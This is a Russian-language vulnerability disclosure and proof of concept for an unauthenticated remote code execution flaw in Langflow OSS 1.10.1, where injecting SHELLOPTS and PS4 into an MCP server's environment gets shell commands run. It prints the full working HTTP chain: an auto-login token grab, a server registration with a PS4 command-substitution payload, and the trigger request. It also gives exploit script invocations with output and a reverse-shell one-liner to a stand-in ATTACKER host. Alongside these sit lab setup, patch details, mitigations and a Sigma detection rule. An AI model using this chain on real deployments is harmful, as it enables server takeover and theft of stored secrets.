
CVE-2026-12940 — Langflow OSS <=1.10.1: неаутентифицированное RCE через внедрение переменных окружения MCP stdio (SHELLOPTS/PS4). Авторский PoC + анализ исходного кода + лаборатория.
Неаутентифицированное удалённое выполнение кода в Langflow OSS до версии 1.10.1 включительно. В списке блокировки переменных окружения, защищающем конфигурацию MCP stdio-серверов (DANGEROUS_ENV_VARS), отсутствуют SHELLOPTS, BASHOPTS и PS4. Поскольку лаунчер MCP stdio запускает заданную команду через bash -c, атакующий может внедрить SHELLOPTS=xtrace и подстановку команды в PS4, выполнив произвольные shell-команды от имени пользователя процесса Langflow — без валидной MCP-команды и без аутентификации в установке по умолчанию.
| CVE | CVE-2026-12940 |
| Продукт | Langflow OSS |
| Затронутые версии | 1.0.0 – 1.10.1 |
| Исправлено в | 1.10.2 |
| Класс | Инъекция OS-команд (CWE-78) через инъекцию переменных окружения |
| CVSS 3.1 | 9.8 КРИТИЧЕСКИЙ — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Аутентификация | Не требуется в установке по умолчанию (AUTO_LOGIN включён по умолчанию в 1.10.1) |
| Статус | ПОДТВЕРЖДЁННАЯ УЯЗВИМОСТЬ — проверено end-to-end на langflowai/langflow:1.10.1 |
Langflow позволяет пользователю регистрировать внешние MCP (Model Context Protocol) stdio-серверы через POST /api/v2/mcp/servers/{name}. Тело запроса проверяется классом MCPServerConfig (src/backend/base/langflow/api/v2/schemas.py), который тщательно проверяет command, args и ключи env:
command должен находиться в разрешённом списке (node, python, npx, uvx, docker, sh, bash…).args проверяются на наличие shell-метасимволов (;, |, $, `, (, ), …) и опасных ключевых слов (-c, eval, pip install, …).DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …).Две бреши в совокупности приводят к RCE:
Значения env никогда не очищаются. Проверяются только ключи по блок-списку; значения передаются без изменений. Поэтому значение PS4 вида $(id) проходит, хотя те же самые символы были бы отклонены внутри args.
Блок-список неполон. В 1.10.1 DANGEROUS_ENV_VARS не содержит shellopts, bashopts или ps4.
Затем лаунчер (src/lfx/src/lfx/base/mcp/util.py) на Unix выполняет:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
При SHELLOPTS=xtrace bash включает set -x при запуске и, перед выполнением первой трассируемой строки, раскрывает приглашение PS4. Подстановка команды внутри PS4 выполняется немедленно — независимо от command/args, которым даже не обязательно быть валидными.
Блок-список централизован в src/lfx/src/lfx/base/mcp/util.py как DANGEROUS_MCP_ENV_VARS и дополнен shellopts, bashopts, ps4 (плюс env — для эшелонированной защиты). Теперь schemas.py вызывает is_dangerous_mcp_env_var(). Приведённая ниже регистрация отклоняется с HTTP 422 на 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
Исходная HTTP-цепочка:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 даёт низкоуровневый примитив для reverse-шеллов / OAST-колбэков:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Проверка исправленной версии (запрос отклоняется):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
См. EVIDENCE.txt для полного перехваченного журнала и ANALYSIS.md для разбора на уровне исходного кода.
ПОДТВЕРЖДЁННАЯ УЯЗВИМОСТЬ в langflowai/langflow:1.10.1, проверено двумя независимыми методами:
uid=1000(user) gid=0(root) groups=0(root) — реальный вывод id(1), вычисленный на целевом хосте по его /etc/passwd. Это не эхо входной строки $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).ИСПРАВЛЕНО в langflowai/langflow:1.10.2 — та же регистрация возвращает HTTP 422.
Примечание об отсутствии аутентификации. Образ 1.10.1 поставляется с включённым по умолчанию
AUTO_LOGIN, поэтому/api/v1/auto_loginвозвращает суперпользовательский токен любому вызывающему без учётных данных — именно это делает всю цепочку неаутентифицированной в развёртывании по умолчанию. В экземпляре, где аутентификация включена, то же RCE доступно любому аутентифицированному пользователю с валидным токеном/API-ключом (передайте его через--token). Образ 1.10.2 дополнительно требует учётных данных для запуска — это несвязанное ужесточение защиты.
Произвольное выполнение команд от имени сервисного аккаунта Langflow. Полное чтение всех секретов, учётных данных и флоу в базе данных Langflow, доступ к внутренним сервисам и метаданным облака, а также выход в окружающую сеть (pivot).
AUTO_LOGIN; задайте явные учётные данные суперпользователя и отключите автоматический вход.Ищите регистрации MCP-серверов, в env которых содержатся управляющие shell-переменные, а также дочерние bash-процессы процесса Langflow:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (создание процесса):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).